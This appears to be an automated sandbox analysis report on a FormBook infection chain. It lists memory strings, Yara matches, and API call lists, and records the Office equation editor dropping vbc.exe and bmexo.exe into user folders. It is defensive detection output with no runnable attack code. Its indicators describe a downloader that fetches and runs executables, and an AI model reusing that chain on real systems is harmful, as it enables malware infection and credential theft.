Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000007.00000000.993794779.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000007.00000000.994238368.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019525973.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006887265.0000000008611000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner1SPS0
Source: explorer.exe, 00000007.00000000.1007066480.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.993998682.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019426082.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.999156746.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1036163361.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1011925093.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987988330.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerq
Source: explorer.exe, 00000007.00000000.1001945671.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.989754024.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1014187603.0000000004385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4ED06E0.emf

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,

Source: global traffic

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040580F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F21890
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F296A0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F27E88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F29C12
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2B3F1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2C3BD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2A184
